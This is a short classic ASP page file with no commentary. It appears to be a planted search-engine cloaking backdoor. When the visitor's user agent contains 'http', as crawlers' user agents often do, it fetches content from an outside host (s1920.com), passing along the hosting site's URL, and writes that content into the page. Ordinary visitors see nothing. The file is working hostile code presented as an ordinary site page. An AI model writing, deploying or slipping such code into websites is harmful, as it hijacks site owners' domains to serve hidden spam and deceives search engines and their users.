<% Response.CodePage = 65001 Response.Charset="UTF-8" Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"UTF-8") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path agent = Request.ServerVariables("HTTP_USER_AGENT") page = Request.QueryString("page") if page = "" then page = 1 end if tz = "http" if Instr(agent,tz)>0 then response.write getBody("http://www.s1920.com/cms/lista.php?page="&page&"&dn="&url) else %> <% end if %>